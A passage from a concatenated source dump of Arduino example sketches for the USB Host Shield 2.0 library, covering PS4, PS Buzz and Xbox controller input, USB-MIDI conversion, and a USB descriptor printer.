accelerometer only Serial.print(F("\r\nPitch: ")); Serial.print(PS4.getAngle(Pitch)); Serial.print(F("\tRoll: ")); Serial.print(PS4.getAngle(Roll)); } if (printTouch) { // Print the x, y coordinates of the touchpad if (PS4.isTouching(0) || PS4.isTouching(1)) // Print newline and carriage return if any of the fingers are touching the touchpad Serial.print(F("\r\n")); for (uint8_t i = 0; i < 2; i++) { // The touchpad track two fingers if (PS4.isTouching(i)) { // Print the position of the finger if it is touching the touchpad Serial.print(F("X")); Serial.print(i + 1); Serial.print(F(": ")); Serial.print(PS4.getX(i)); Serial.print(F("\tY")); Serial.print(i + 1); Serial.print(F(": ")); Serial.print(PS4.getY(i)); Serial.print(F("\t")); } } } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/PSBuzz/PSBuzz.ino ================================================ /* Example sketch for the Playstation Buzz library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; PSBuzz Buzz(&Usb); void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); // Halt } Serial.println(F("\r\nPS Buzz Library Started")); } void loop() { Usb.Task(); if (Buzz.connected()) { for (uint8_t i = 0; i < 4; i++) { if (Buzz.getButtonClick(RED, i)) { Buzz.setLedToggle(i); // Toggle the LED Serial.println(F("RED")); } if (Buzz.getButtonClick(YELLOW, i)) Serial.println(F("YELLOW")); if (Buzz.getButtonClick(GREEN, i)) Serial.println(F("GREEN")); if (Buzz.getButtonClick(ORANGE, i)) Serial.println(F("ORANGE")); if (Buzz.getButtonClick(BLUE, i)) Serial.println(F("BLUE")); } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/USBH_MIDI_dump/USBH_MIDI_dump.ino ================================================ /* ******************************************************************************* * USB-MIDI dump utility * Copyright (C) 2013-2017 Yuuichi Akagawa * * for use with USB Host Shield 2.0 from Circuitsathome.com * https://github.com/felis/USB_Host_Shield_2.0 * * This is sample program. Do not expect perfect behavior. ******************************************************************************* */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub(&Usb); USBH_MIDI Midi(&Usb); void MIDI_poll(); uint16_t pid, vid; void setup() { vid = pid = 0; Serial.begin(115200); if (Usb.Init() == -1) { while (1); //halt }//if (Usb.Init() == -1... delay( 200 ); } void loop() { Usb.Task(); //uint32_t t1 = (uint32_t)micros(); if ( Midi ) { MIDI_poll(); } } // Poll USB MIDI Controler and send to serial MIDI void MIDI_poll() { char buf[20]; uint8_t bufMidi[64]; uint16_t rcvd; if (Midi.idVendor() != vid || Midi.idProduct() != pid) { vid = Midi.idVendor(); pid = Midi.idProduct(); sprintf(buf, "VID:%04X, PID:%04X", vid, pid); Serial.println(buf); } if (Midi.RecvData( &rcvd, bufMidi) == 0 ) { uint32_t time = (uint32_t)millis(); sprintf(buf, "%04X%04X: ", (uint16_t)(time >> 16), (uint16_t)(time & 0xFFFF)); // Split variable to prevent warnings on the ESP8266 platform Serial.print(buf); Serial.print(rcvd); Serial.print(':'); for (int i = 0; i < 64; i++) { sprintf(buf, " %02X", bufMidi[i]); Serial.print(buf); } Serial.println(""); } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/USB_MIDI_converter/USB_MIDI_converter.ino ================================================ /* ******************************************************************************* * USB-MIDI to Legacy Serial MIDI converter * Copyright (C) 2012-2017 Yuuichi Akagawa * * Idea from LPK25 USB-MIDI to Serial MIDI converter * by Collin Cunningham - makezine.com, narbotic.com * * This is sample program. Do not expect perfect behavior. ******************************************************************************* */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include #ifdef USBCON #define _MIDI_SERIAL_PORT Serial1 #else #define _MIDI_SERIAL_PORT Serial #endif ////////////////////////// // MIDI Pin assign // 2 : GND // 4 : +5V(Vcc) with 220ohm // 5 : TX ////////////////////////// USB Usb; USBH_MIDI Midi(&Usb); void MIDI_poll(); void doDelay(uint32_t t1, uint32_t t2, uint32_t delayTime); void setup() { _MIDI_SERIAL_PORT.begin(31250); if (Usb.Init() == -1) { while (1); //halt }//if (Usb.Init() == -1... delay( 200 ); } void loop() { Usb.Task(); uint32_t t1 = (uint32_t)micros(); if ( Midi ) { MIDI_poll(); } //delay(1ms) doDelay(t1, (uint32_t)micros(), 1000); } // Poll USB MIDI Controler and send to serial MIDI void MIDI_poll() { uint8_t outBuf[ 3 ]; uint8_t size; do { if ( (size = Midi.RecvData(outBuf)) > 0 ) { //MIDI Output _MIDI_SERIAL_PORT.write(outBuf, size); } } while (size > 0); } // Delay time (max 16383 us) void doDelay(uint32_t t1, uint32_t t2, uint32_t delayTime) { uint32_t t3; t3 = t2 - t1; if ( t3 < delayTime ) { delayMicroseconds(delayTime - t3); } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/USB_MIDI_converter_multi/USB_MIDI_converter_multi.ino ================================================ /* ******************************************************************************* * USB-MIDI to Legacy Serial MIDI converter * Copyright (C) 2012-2017 Yuuichi Akagawa * * Idea from LPK25 USB-MIDI to Serial MIDI converter * by Collin Cunningham - makezine.com, narbotic.com * * This is sample program. Do not expect perfect behavior. ******************************************************************************* */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include #ifdef USBCON #define _MIDI_SERIAL_PORT Serial1 #else #define _MIDI_SERIAL_PORT Serial #endif ////////////////////////// // MIDI Pin assign // 2 : GND // 4 : +5V(Vcc) with 220ohm // 5 : TX ////////////////////////// USB Usb; USBHub Hub1(&Usb); USBH_MIDI Midi1(&Usb); USBH_MIDI Midi2(&Usb); void MIDI_poll(); void doDelay(uint32_t t1, uint32_t t2, uint32_t delayTime); void setup() { _MIDI_SERIAL_PORT.begin(31250); if (Usb.Init() == -1) { while (1); //halt }//if (Usb.Init() == -1... delay( 200 ); } void loop() { Usb.Task(); uint32_t t1 = (uint32_t)micros(); if ( Midi1 ) { MIDI_poll(Midi1); } if ( Midi2 ) { MIDI_poll(Midi2); } //delay(1ms) doDelay(t1, (uint32_t)micros(), 1000); } // Poll USB MIDI Controler and send to serial MIDI void MIDI_poll(USBH_MIDI &Midi) { uint8_t outBuf[ 3 ]; uint8_t size; do { if ( (size = Midi.RecvData(outBuf)) > 0 ) { //MIDI Output _MIDI_SERIAL_PORT.write(outBuf, size); } } while (size > 0); } // Delay time (max 16383 us) void doDelay(uint32_t t1, uint32_t t2, uint32_t delayTime) { uint32_t t3; t3 = t2 - t1; if ( t3 < delayTime ) { delayMicroseconds(delayTime - t3); } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/bidirectional_converter/bidirectional_converter.ino ================================================ /* ******************************************************************************* * Legacy Serial MIDI and USB Host bidirectional converter * Copyright (C) 2013-2017 Yuuichi Akagawa * * for use with Arduino MIDI library * https://github.com/FortySevenEffects/arduino_midi_library/ * * Note: * - If you want use with Leonardo, you must choose Arduino MIDI library v4.0 or higher. * - This is sample program. Do not expect perfect behavior. ******************************************************************************* */ #include #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include //Arduino MIDI library v4.2 compatibility #ifdef MIDI_CREATE_DEFAULT_INSTANCE MIDI_CREATE_DEFAULT_INSTANCE(); #endif #ifdef USBCON #define _MIDI_SERIAL_PORT Serial1 #else #define _MIDI_SERIAL_PORT Serial #endif ////////////////////////// // MIDI Pin assign // 2 : GND // 4 : +5V(Vcc) with 220ohm // 5 : TX ////////////////////////// USB Usb; USBH_MIDI Midi(&Usb); void MIDI_poll(); //If you want handle System Exclusive message, enable this #define otherwise comment out it. #define USBH_MIDI_SYSEX_ENABLE #ifdef USBH_MIDI_SYSEX_ENABLE //SysEx: void handle_sysex( byte* sysexmsg, unsigned sizeofsysex) { Midi.SendSysEx(sysexmsg, sizeofsysex); } #endif void setup() { MIDI.begin(MIDI_CHANNEL_OMNI); MIDI.turnThruOff(); #ifdef USBH_MIDI_SYSEX_ENABLE MIDI.setHandleSystemExclusive(handle_sysex); #endif if (Usb.Init() == -1) { while (1); //halt }//if (Usb.Init() == -1... delay( 200 ); } void loop() { uint8_t msg[4]; Usb.Task(); if ( Midi ) { MIDI_poll(); if (MIDI.read()) { msg[0] = MIDI.getType(); switch (msg[0]) { case midi::ActiveSensing : break; case midi::SystemExclusive : //SysEx is handled by event. break; default : msg[1] = MIDI.getData1(); msg[2] = MIDI.getData2(); Midi.SendData(msg, 0); break; } } } } // Poll USB MIDI Controler and send to serial MIDI void MIDI_poll() { uint8_t size; #ifdef USBH_MIDI_SYSEX_ENABLE uint8_t recvBuf[MIDI_EVENT_PACKET_SIZE]; uint8_t rcode = 0; //return code uint16_t rcvd; uint8_t readPtr = 0; rcode = Midi.RecvData( &rcvd, recvBuf); //data check if (rcode != 0) return; if ( recvBuf[0] == 0 && recvBuf[1] == 0 && recvBuf[2] == 0 && recvBuf[3] == 0 ) { return ; } uint8_t *p = recvBuf; while (readPtr < MIDI_EVENT_PACKET_SIZE) { if (*p == 0 && *(p + 1) == 0) break; //data end uint8_t outbuf[3]; uint8_t rc = Midi.extractSysExData(p, outbuf); if ( rc == 0 ) { p++; size = Midi.lookupMsgSize(*p); _MIDI_SERIAL_PORT.write(p, size); p += 3; } else { _MIDI_SERIAL_PORT.write(outbuf, rc); p += 4; } readPtr += 4; } #else uint8_t outBuf[3]; do { if ( (size = Midi.RecvData(outBuf)) > 0 ) { //MIDI Output _MIDI_SERIAL_PORT.write(outBuf, size); } } while (size > 0); #endif } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/eVY1_sample/eVY1_sample.ino ================================================ /* ******************************************************************************* * eVY1 Shield sample - Say 'Konnichiwa' * Copyright (C) 2014-2016 Yuuichi Akagawa * * This is sample program. Do not expect perfect behavior. ******************************************************************************* */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub(&Usb); USBH_MIDI Midi(&Usb); void MIDI_poll(); void noteOn(uint8_t note); void noteOff(uint8_t note); uint16_t pid, vid; uint8_t exdata[] = { 0xf0, 0x43, 0x79, 0x09, 0x00, 0x50, 0x10, 'k', ' ', 'o', ',', //Ko 'N', '\\', ',', //N 'J', ' ', 'i', ',', //Ni 't', 'S', ' ', 'i', ',', //Chi 'w', ' ', 'a', //Wa 0x00, 0xf7 }; void setup() { vid = pid = 0; Serial.begin(115200); if (Usb.Init() == -1) { while (1); //halt }//if (Usb.Init() == -1... delay( 200 ); } void loop() { Usb.Task(); if( Midi ) { MIDI_poll(); noteOn(0x3f); delay(400); noteOff(0x3f); delay(100); } } // Poll USB MIDI Controler void MIDI_poll() { uint8_t inBuf[ 3 ]; //first call? if (Midi.idVendor() != vid || Midi.idProduct() != pid) { vid = Midi.idVendor(); pid = Midi.idProduct(); Midi.SendSysEx(exdata, sizeof(exdata)); delay(500); } Midi.RecvData(inBuf); } //note On void noteOn(uint8_t note) { uint8_t buf[3]; buf[0] = 0x90; buf[1] = note; buf[2] = 0x7f; Midi.SendData(buf); } //note Off void noteOff(uint8_t note) { uint8_t buf[3]; buf[0] = 0x80; buf[1] = note; buf[2] = 0x00; Midi.SendData(buf); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/USB_desc/USB_desc.ino ================================================ #include #include "pgmstrings.h" // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); //USBHub Hub2(&Usb); //USBHub Hub3(&Usb); //USBHub Hub4(&Usb); //USBHub Hub5(&Usb); //USBHub Hub6(&Usb); //USBHub Hub7(&Usb); void PrintAllAddresses(UsbDevice *pdev) { UsbDeviceAddress adr; adr.devAddress = pdev->address.devAddress; Serial.print("\r\nAddr:"); Serial.print(adr.devAddress, HEX); Serial.print("("); Serial.print(adr.bmHub, HEX); Serial.print("."); Serial.print(adr.bmParent, HEX); Serial.print("."); Serial.print(adr.bmAddress, HEX); Serial.println(")"); } void PrintAddress(uint8_t addr) { UsbDeviceAddress adr; adr.devAddress = addr; Serial.print("\r\nADDR:\t"); Serial.println(adr.devAddress, HEX); Serial.print("DEV:\t"); Serial.println(adr.bmAddress, HEX); Serial.print("PRNT:\t"); Serial.println(adr.bmParent, HEX); Serial.print("HUB:\t"); Serial.println(adr.bmHub, HEX); } void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); delay( 200 ); } uint8_t getdevdescr( uint8_t addr, uint8_t &num_conf ); void PrintDescriptors(uint8_t addr) { uint8_t rcode = 0; uint8_t num_conf = 0; rcode = getdevdescr( (uint8_t)addr, num_conf ); if ( rcode ) { printProgStr(Gen_Error_str); print_hex( rcode, 8 ); } Serial.print("\r\n"); for (int i = 0; i < num_conf; i++) { rcode = getconfdescr( addr, i ); // get configuration descriptor if ( rcode ) { printProgStr(Gen_Error_str); print_hex(rcode, 8); } Serial.println("\r\n"); } } void PrintAllDescriptors(UsbDevice *pdev) { Serial.println("\r\n"); print_hex(pdev->address.devAddress, 8); Serial.println("\r\n--"); PrintDescriptors( pdev->address.devAddress ); } void loop() { Usb.Task(); if ( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { Usb.ForEachUsbDevice(&PrintAllDescriptors); Usb.ForEachUsbDevice(&PrintAllAddresses); while ( 1 ) { // stop #ifdef ESP8266 yield(); // needed in order to reset the watchdog timer on the ESP8266 #endif } } } uint8_t getdevdescr( uint8_t addr, uint8_t &num_conf ) { USB_DEVICE_DESCRIPTOR buf; uint8_t rcode; rcode = Usb.getDevDescr( addr, 0, 0x12, ( uint8_t *)&buf ); if ( rcode ) { return ( rcode ); } printProgStr(Dev_Header_str); printProgStr(Dev_Length_str); print_hex( buf.bLength, 8 ); printProgStr(Dev_Type_str); print_hex( buf.bDescriptorType, 8 ); printProgStr(Dev_Version_str); print_hex( buf.bcdUSB, 16 ); printProgStr(Dev_Class_str); print_hex( buf.bDeviceClass, 8 ); printProgStr(Dev_Subclass_str); print_hex( buf.bDeviceSubClass, 8 ); printProgStr(Dev_Protocol_str); print_hex( buf.bDeviceProtocol, 8 ); printProgStr(Dev_Pktsize_str); print_hex( buf.bMaxPacketSize0, 8 ); printProgStr(Dev_Vendor_str); print_hex( buf.idVendor, 16 ); printProgStr(Dev_Product_str); print_hex( buf.idProduct, 16 ); printProgStr(Dev_Revision_str); print_hex( buf.bcdDevice, 16 ); printProgStr(Dev_Mfg_str); print_hex( buf.iManufacturer, 8 ); printProgStr(Dev_Prod_str); print_hex( buf.iProduct, 8 ); printProgStr(Dev_Serial_str); print_hex( buf.iSerialNumber, 8 ); printProgStr(Dev_Nconf_str); print_hex( buf.bNumConfigurations, 8 ); num_conf = buf.bNumConfigurations; return ( 0 ); } void printhubdescr(uint8_t *descrptr, uint8_t addr) { HubDescriptor *pHub = (HubDescriptor*) descrptr; uint8_t len = *((uint8_t*)descrptr); printProgStr(PSTR("\r\n\r\nHub Descriptor:\r\n")); printProgStr(PSTR("bDescLength:\t\t")); Serial.println(pHub->bDescLength, HEX); printProgStr(PSTR("bDescriptorType:\t")); Serial.println(pHub->bDescriptorType, HEX); printProgStr(PSTR("bNbrPorts:\t\t")); Serial.println(pHub->bNbrPorts, HEX); printProgStr(PSTR("LogPwrSwitchMode:\t")); Serial.println(pHub->LogPwrSwitchMode, BIN); printProgStr(PSTR("CompoundDevice:\t\t")); Serial.println(pHub->CompoundDevice, BIN); printProgStr(PSTR("OverCurrentProtectMode:\t")); Serial.println(pHub->OverCurrentProtectMode, BIN); printProgStr(PSTR("TTThinkTime:\t\t")); Serial.println(pHub->TTThinkTime, BIN); printProgStr(PSTR("PortIndicatorsSupported:")); Serial.println(pHub->PortIndicatorsSupported, BIN); printProgStr(PSTR("Reserved:\t\t")); Serial.println(pHub->Reserved, HEX); printProgStr(PSTR("bPwrOn2PwrGood:\t\t")); Serial.println(pHub->bPwrOn2PwrGood, HEX); printProgStr(PSTR("bHubContrCurrent:\t")); Serial.println(pHub->bHubContrCurrent, HEX); for (uint8_t i = 7; i < len; i++) print_hex(descrptr[i], 8); //for (uint8_t i=1; i<=pHub->bNbrPorts; i++) // PrintHubPortStatus(&Usb, addr, i, 1); } uint8_t getconfdescr( uint8_t addr, uint8_t conf ) { uint8_t buf[ BUFSIZE ]; uint8_t* buf_ptr = buf; uint8_t rcode; uint8_t descr_length; uint8_t descr_type; uint16_t total_length; rcode = Usb.getConfDescr( addr, 0, 4, conf, buf ); //get total length LOBYTE( total_length ) = buf[ 2 ]; HIBYTE( total_length ) = buf[ 3 ]; if ( total_length > 256 ) { //check if total length is larger than buffer printProgStr(Conf_Trunc_str); total_length = 256; } rcode = Usb.getConfDescr( addr, 0, total_length, conf, buf ); //get the whole descriptor while ( buf_ptr < buf + total_length ) { //parsing descriptors descr_length = *( buf_ptr ); descr_type = *( buf_ptr + 1 ); switch ( descr_type ) { case ( USB_DESCRIPTOR_CONFIGURATION ): printconfdescr( buf_ptr ); break; case ( USB_DESCRIPTOR_INTERFACE ): printintfdescr( buf_ptr ); break; case ( USB_DESCRIPTOR_ENDPOINT ): printepdescr( buf_ptr ); break; case 0x29: printhubdescr( buf_ptr, addr ); break; default: printunkdescr( buf_ptr ); break; }//switch( descr_type buf_ptr = ( buf_ptr + descr_length ); //advance buffer pointer }//while( buf_ptr <=... return ( rcode ); } /* prints hex numbers with leading zeroes */ // copyright, Peter H Anderson, Baltimore, MD, Nov, '07 // source: http://www.phanderson.com/arduino/arduino_display.html void print_hex(int v, int num_places) { int mask = 0, n, num_nibbles, digit; for (n = 1; n <= num_places; n++) { mask = (mask << 1) | 0x0001; } v = v & mask; // truncate v to specified number of places num_nibbles = num_places / 4; if ((num_places % 4) != 0) { ++num_nibbles; } do { digit = ((v >> (num_nibbles - 1) * 4)) & 0x0f; Serial.print(digit, HEX); } while (--num_nibbles); } /* function to print configuration descriptor */ void printconfdescr( uint8_t* descr_ptr ) { USB_CONFIGURATION_DESCRIPTOR* conf_ptr = ( USB_CONFIGURATION_DESCRIPTOR* )descr_ptr; printProgStr(Conf_Header_str); printProgStr(Conf_Totlen_str); print_hex( conf_ptr->wTotalLength, 16 ); printProgStr(Conf_Nint_str); print_hex( conf_ptr->bNumInterfaces, 8 ); printProgStr(Conf_Value_str); print_hex( conf_ptr->bConfigurationValue, 8 ); printProgStr(Conf_String_str); print_hex( conf_ptr->iConfiguration, 8 ); printProgStr(Conf_Attr_str); print_hex( conf_ptr->bmAttributes, 8 ); printProgStr(Conf_Pwr_str); print_hex( conf_ptr->bMaxPower, 8 ); return; } /* function to print interface descriptor */ void printintfdescr( uint8_t* descr_ptr ) { USB_INTERFACE_DESCRIPTOR* intf_ptr = ( USB_INTERFACE_DESCRIPTOR* )descr_ptr; printProgStr(Int_Header_str); printProgStr(Int_Number_str); print_hex( intf_ptr->bInterfaceNumber, 8 ); printProgStr(Int_Alt_str); print_hex( intf_ptr->bAlternateSetting, 8 ); printProgStr(Int_Endpoints_str); print_hex( intf_ptr->bNumEndpoints, 8 ); printProgStr(Int_Class_str); print_hex( intf_ptr->bInterfaceClass, 8 ); printProgStr(Int_Subclass_str); print_hex( intf_ptr->bInterfaceSubClass, 8 ); printProgStr(Int_Protocol_str); print_hex( intf_ptr->bInterfaceProtocol, 8 ); printProgStr(Int_String_str); print_hex( intf_ptr->iInterface, 8 ); return; } /* function to print endpoint descriptor */ void printepdescr( uint8_t* descr_ptr ) { USB_ENDPOINT_DESCRIPTOR* ep_ptr = ( USB_ENDPOINT_DESCRIPTOR* )descr_ptr; printProgStr(End_Header_str); printProgStr(End_Address_str); print_hex( ep_ptr->bEndpointAddress, 8 ); printProgStr(End_Attr_str); print_hex( ep_ptr->bmAttributes, 8 ); printProgStr(End_Pktsize_str); print_hex( ep_ptr->wMaxPacketSize, 16 ); printProgStr(End_Interval_str); print_hex( ep_ptr->bInterval, 8 ); return; } /*function to print unknown descriptor */ void printunkdescr( uint8_t* descr_ptr ) { uint8_t length = *descr_ptr; uint8_t i; printProgStr(Unk_Header_str); printProgStr(Unk_Length_str); print_hex( *descr_ptr, 8 ); printProgStr(Unk_Type_str); print_hex( *(descr_ptr + 1 ), 8 ); printProgStr(Unk_Contents_str); descr_ptr += 2; for ( i = 0; i < length; i++ ) { print_hex( *descr_ptr, 8 ); descr_ptr++; } } /* Print a string from Program Memory directly to save RAM */ void printProgStr(const char* str) { char c; if (!str) return; while ((c = pgm_read_byte(str++))) Serial.print(c); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/USB_desc/pgmstrings.h ================================================ #if !defined(__PGMSTRINGS_H__) #define __PGMSTRINGS_H__ #define LOBYTE(x) ((char*)(&(x)))[0] #define HIBYTE(x) ((char*)(&(x)))[1] #define BUFSIZE 256 //buffer size /* Print strings in Program Memory */ const char Gen_Error_str[] PROGMEM = "\r\nRequest error. Error code:\t"; const char Dev_Header_str[] PROGMEM ="\r\nDevice descriptor: "; const char Dev_Length_str[] PROGMEM ="\r\nDescriptor Length:\t"; const char Dev_Type_str[] PROGMEM ="\r\nDescriptor type:\t"; const char Dev_Version_str[] PROGMEM ="\r\nUSB version:\t\t"; const char Dev_Class_str[] PROGMEM ="\r\nDevice class:\t\t"; const char Dev_Subclass_str[] PROGMEM ="\r\nDevice Subclass:\t"; const char Dev_Protocol_str[] PROGMEM ="\r\nDevice Protocol:\t"; const char Dev_Pktsize_str[] PROGMEM ="\r\nMax.packet size:\t"; const char Dev_Vendor_str[] PROGMEM ="\r\nVendor ID:\t\t"; const char Dev_Product_str[] PROGMEM ="\r\nProduct ID:\t\t"; const char Dev_Revision_str[] PROGMEM ="\r\nRevision ID:\t\t"; const char Dev_Mfg_str[] PROGMEM ="\r\nMfg.string index:\t"; const char Dev_Prod_str[] PROGMEM ="\r\nProd.string index:\t"; const char Dev_Serial_str[] PROGMEM ="\r\nSerial number index:\t"; const char Dev_Nconf_str[] PROGMEM ="\r\nNumber of conf.:\t"; const char Conf_Trunc_str[] PROGMEM ="Total length truncated to 256 bytes"; const char Conf_Header_str[] PROGMEM ="\r\nConfiguration descriptor:"; const char Conf_Totlen_str[] PROGMEM ="\r\nTotal length:\t\t"; const char Conf_Nint_str[] PROGMEM ="\r\nNum.intf:\t\t"; const char Conf_Value_str[] PROGMEM ="\r\nConf.value:\t\t"; const char Conf_String_str[] PROGMEM ="\r\nConf.string:\t\t"; const char Conf_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char Conf_Pwr_str[] PROGMEM ="\r\nMax.pwr:\t\t"; const char Int_Header_str[] PROGMEM ="\r\n\r\nInterface descriptor:"; const char Int_Number_str[] PROGMEM ="\r\nIntf.number:\t\t"; const char Int_Alt_str[] PROGMEM ="\r\nAlt.:\t\t\t"; const char Int_Endpoints_str[] PROGMEM ="\r\nEndpoints:\t\t"; const char Int_Class_str[] PROGMEM ="\r\nIntf. Class:\t\t"; const char Int_Subclass_str[] PROGMEM ="\r\nIntf. Subclass:\t\t"; const char Int_Protocol_str[] PROGMEM ="\r\nIntf. Protocol:\t\t"; const char Int_String_str[] PROGMEM ="\r\nIntf.string:\t\t"; const char End_Header_str[] PROGMEM ="\r\n\r\nEndpoint descriptor:"; const char End_Address_str[] PROGMEM ="\r\nEndpoint address:\t"; const char End_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char End_Pktsize_str[] PROGMEM ="\r\nMax.pkt size:\t\t"; const char End_Interval_str[] PROGMEM ="\r\nPolling interval:\t"; const char Unk_Header_str[] PROGMEM = "\r\nUnknown descriptor:"; const char Unk_Length_str[] PROGMEM ="\r\nLength:\t\t"; const char Unk_Type_str[] PROGMEM ="\r\nType:\t\t"; const char Unk_Contents_str[] PROGMEM ="\r\nContents:\t"; #endif // __PGMSTRINGS_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXOLD/XBOXOLD.ino ================================================ /* Example sketch for the original Xbox library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; USBHub Hub1(&Usb); // The controller has a built in hub, so this instance is needed XBOXOLD Xbox(&Usb); void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); // halt } Serial.print(F("\r\nXBOX Library Started")); } void loop() { Usb.Task(); if (Xbox.XboxConnected) { if (Xbox.getButtonPress(BLACK) || Xbox.getButtonPress(WHITE)) { Serial.print("BLACK: "); Serial.print(Xbox.getButtonPress(BLACK)); Serial.print("\tWHITE: "); Serial.println(Xbox.getButtonPress(WHITE)); Xbox.setRumbleOn(Xbox.getButtonPress(BLACK), Xbox.getButtonPress(WHITE)); } else Xbox.setRumbleOn(0, 0); if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500 || Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500 || Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500 || Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) { if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500) { Serial.print(F("LeftHatX: ")); Serial.print(Xbox.getAnalogHat(LeftHatX)); Serial.print("\t"); } if (Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500) { Serial.print(F("LeftHatY: ")); Serial.print(Xbox.getAnalogHat(LeftHatY)); Serial.print("\t"); } if (Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500) { Serial.print(F("RightHatX: ")); Serial.print(Xbox.getAnalogHat(RightHatX)); Serial.print("\t"); } if (Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) { Serial.print(F("RightHatY: ")); Serial.print(Xbox.getAnalogHat(RightHatY)); } Serial.println(); } if (Xbox.getButtonClick(UP)) Serial.println(F("Up")); if (Xbox.getButtonClick(DOWN)) Serial.println(F("Down")); if (Xbox.getButtonClick(LEFT)) Serial.println(F("Left")); if (Xbox.getButtonClick(RIGHT)) Serial.println(F("Right")); if (Xbox.getButtonClick(START)) Serial.println(F("Start")); if (Xbox.getButtonClick(BACK)) Serial.println(F("Back")); if (Xbox.getButtonClick(L3)) Serial.println(F("L3")); if (Xbox.getButtonClick(R3)) Serial.println(F("R3")); if (Xbox.getButtonPress(A)) { Serial.print(F("A: ")); Serial.println(Xbox.getButtonPress(A)); } if (Xbox.getButtonPress(B)) { Serial.print(F("B: ")); Serial.println(Xbox.getButtonPress(B)); } if (Xbox.getButtonPress(X)) { Serial.print(F("X: ")); Serial.println(Xbox.getButtonPress(X)); } if (Xbox.getButtonPress(Y)) { Serial.print(F("Y: ")); Serial.println(Xbox.getButtonPress(Y)); } if (Xbox.getButtonPress(L1)) { Serial.print(F("L1: ")); Serial.println(Xbox.getButtonPress(L1)); } if (Xbox.getButtonPress(R1)) { Serial.print(F("R1: ")); Serial.println(Xbox.getButtonPress(R1)); } } delay(1); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXONE/XBOXONE.ino ================================================ /* Example sketch for the Xbox ONE USB library - by guruthree, based on work by Kristian Lauszus. */ #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; XBOXONE Xbox(&Usb); void setup() { Serial.begin(115200); while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nXBOX USB Library Started")); } void loop() { Usb.Task(); if (Xbox.XboxOneConnected) { if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500 || Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500 || Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500 || Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) { if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500) { Serial.print(F("LeftHatX: ")); Serial.print(Xbox.getAnalogHat(LeftHatX)); Serial.print("\t"); } if (Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500) { Serial.print(F("LeftHatY: ")); Serial.print(Xbox.getAnalogHat(LeftHatY)); Serial.print("\t"); } if (Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500) { Serial.print(F("RightHatX: ")); Serial.print(Xbox.getAnalogHat(RightHatX)); Serial.print("\t"); } if (Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) { Serial.print(F("RightHatY: 